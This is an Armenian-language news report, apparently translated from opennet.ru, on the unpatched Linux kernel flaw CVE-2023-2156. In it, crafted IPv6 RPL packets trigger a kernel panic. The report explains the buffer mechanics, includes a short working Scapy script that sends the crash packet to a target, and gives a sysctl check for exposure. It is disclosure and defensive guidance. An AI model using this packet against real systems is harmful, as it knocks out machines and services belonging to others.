Տեղեկատվություն է հրապարակվել Linux միջուկում չթարմացված (0-օրյա) խոցելիության (CVE-2023-2156) մասին, որը թույլ է տալիս համակարգին դադարեցնել աշխատանքը՝ ուղարկելով հատուկ մշակված IPv6 փաթեթներ (packet-of-death): Խնդիրն ի հայտ է գալիս միայն RPL (Routing Protocol for Low-Power and Lossy Networks) արձանագրության աջակցությունը միացնելիս, որը բաշխումներում լռելյայնորեն անջատված է և հիմնականում օգտագործվում է ներկառուցված սարքերի վրա, որոնք աշխատում են բարձր փաթեթների կորստով անլար ցանցերում:
Խոցելիությունը պայմանավորված է RPL արձանագրության վերլուծական կոդում արտաքին տվյալների սխալ մշակմամբ, ինչը հանգեցնում է assert ձախողման, և միջուկը անցնում է խուճապային վիճակի: IPv6 RPL փաթեթի վերնագիրը k_buff (Socket Buffer) կառուցվածքում վերլուծելով ստացված տվյալները տեղադրելիս, եթե CmprI դաշտը սահմանված է 15, Segleft դաշտը սահմանվում է 1, իսկ CmprE-ն՝ 0, հասցեներով 48 բայթանոց վեկտորը բացվում է 528 բայթի, և ստեղծվում է իրավիճակ, երբ բուֆերի համար հատկացված հիշողությունը բավարար չէ: Այս դեպքում կառուցվածքում տվյալները տեղադրելու համար օգտագործվող skb_push ֆունկցիան ակտիվացնում է տվյալների և բուֆերի չափի անհամաչափության ստուգումը՝ առաջացնելով խուճապային վիճակ՝ բուֆերի սահմանից այն կողմ գրառումը կանխելու համար:
Օրինակ՝ # Մենք կօգտագործենք Scapy-ն՝ scapy.all-ից փաթեթը ստեղծելու համար import * import socket # Օգտագործեք IPv6-ը ձեր LAN ինտերֆեյսից DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Մենք օգտագործում ենք socket-ներ՝ փաթեթը ուղարկելու համար sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Ստեղծեք փաթեթը # Type = 3-ը դարձնում է սա RPL փաթեթ # Հասցեները պարունակում են 3 հասցե, բայց քանի որ CmprI-ն 15 է, # առաջին երկու հասցեների յուրաքանչյուր օկտետը դիտվում է որպես սեղմված հասցե # Segleft = 1՝ ուժեղացումը ակտիվացնելու համար # lastentry = 0xf0-ը CmprI-ն սահմանում է 15-ի, իսկ CmprE-ն՝ 0-ի p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses=[“a8::”, “a7::”, “a6::”], segleft=1, lastentry=0xf0) # Ուղարկել այս չար փաթեթը sockfd.sendto(bytes(p), (DST_ADDR, 0))
Հատկանշական է, որ միջուկի մշակողները խոցելիության մասին տեղեկացվել են դեռևս 2022 թվականի հունվարին և վերջին 15 ամիսների ընթացքում երեք անգամ փորձել են շտկել խնդիրը՝ թողարկելով թարմացումներ 2022 թվականի սեպտեմբերին, 2022 թվականի հոկտեմբերին և 2023 թվականի ապրիլին, սակայն ամեն անգամ շտկումները բավարար չեն եղել, և խոցելիությունը կարող էր վերարտադրվել։ Վերջիվերջո, ZDI նախագիծը, որը համակարգում էր խոցելիության վերացման աշխատանքները, որոշեց բացահայտել խոցելիության մասին մանրամասն տեղեկատվություն՝ առանց սպասելու միջուկում աշխատող շտկման հայտնվելուն։
Այսպիսով, խոցելիությունը մնում է չշտկված։ Մասնավորապես, 6.4-rc2 միջուկում ներառված թարմացումը արդյունավետ չէ։ Օգտատերերին խորհուրդ է տրվում ստուգել, որ իրենց համակարգերում չի օգտագործվում RPL արձանագրությունը, ինչը կարող է արվել sysctl -a | grep -i rpl_seg_enabled հրամանի միջոցով։
Source: opennet.ru
